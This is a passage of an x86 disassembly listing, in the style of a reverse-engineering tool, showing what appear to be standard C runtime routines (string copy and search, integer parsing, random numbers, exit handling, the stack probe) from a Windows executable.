		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2720612h
		push	eax
		nop
		call	near ptr 2710D21h

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		call	near ptr 77E75CB5h
		nop

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
